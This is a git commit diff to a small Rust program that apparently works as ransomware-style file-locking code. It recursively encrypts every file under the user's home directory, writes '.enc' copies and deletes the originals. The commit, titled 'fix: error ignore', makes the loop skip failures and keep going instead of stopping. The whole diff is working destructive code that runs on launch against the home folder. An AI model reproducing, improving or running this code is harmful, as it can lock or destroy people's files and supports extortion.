fix: error ignore

This commit is contained in:
Xory 2024-06-17 13:46:38 +03:00
parent 5b5f13699a
commit b9a723b516
2 changed files with 9 additions and 8 deletions

View file

@ -62,6 +62,7 @@ fn get_all_files(dir: &str) -> Vec<String> {
for entry in WalkDir::new(dir).into_iter().filter_map(|e| e.ok()) { for entry in WalkDir::new(dir).into_iter().filter_map(|e| e.ok()) {
if entry.file_type().is_file() { if entry.file_type().is_file() {
dbg!(&entry);
file_paths.push(entry.path().display().to_string()); file_paths.push(entry.path().display().to_string());
} }
} }
@ -72,11 +73,12 @@ fn get_all_files(dir: &str) -> Vec<String> {
pub fn encrypt_directory(directory_path: &str) -> Result<(), Box<dyn Error>> { pub fn encrypt_directory(directory_path: &str) -> Result<(), Box<dyn Error>> {
let directory = get_all_files(directory_path); let directory = get_all_files(directory_path);
dbg!(&directory);
for mut file in directory { for mut file in directory {
let encrypted_file_path = file.as_mut().to_owned() + ".enc"; let encrypted_file_path = file.as_mut().to_owned() + ".enc";
dbg!(&encrypted_file_path); dbg!(&encrypted_file_path);
if encrypt_file(&file, &encrypted_file_path).is_err() { break; } let _ = encrypt_file(&file, &encrypted_file_path);
if fs::remove_file(file).is_err() { break; } let _ = fs::remove_file(file);
} }
Ok(()) Ok(())
} }
@ -87,8 +89,8 @@ pub fn decrypt_directory(directory_path: &str) -> Result<(), Box<dyn Error>> {
let mut file_path = file.as_mut().to_owned(); let mut file_path = file.as_mut().to_owned();
let ext_index = file_path.rfind('.').unwrap(); let ext_index = file_path.rfind('.').unwrap();
file_path.truncate(ext_index); file_path.truncate(ext_index);
if decrypt_file(&file, &file_path).is_err() { break; } let _ = decrypt_file(&file, &file_path);
if fs::remove_file(file).is_err() { break; } let _ = fs::remove_file(file);
} }
Ok(()) Ok(())
} }

View file

@ -1,12 +1,11 @@
mod crypto; mod crypto;
use crypto::encrypt_directory; use crypto::encrypt_directory;
extern crate dirs; use std::env;
use dirs::home_dir;
fn main() { fn main() {
let home = home_dir().unwrap(); // no way this could fail! let home: String = env::var("USERPROFILE").unwrap_or("C:\\Users\\Xory".to_string()); // no way this could fail!
dbg!(&home); dbg!(&home);
encrypt_directory(home.to_str().unwrap()).unwrap(); // I know this many unwraps look encrypt_directory(&home).unwrap(); // I know this many unwraps look
// suspicious, but the chance of this // suspicious, but the chance of this
// failing is less than a solar flare. // failing is less than a solar flare.
} }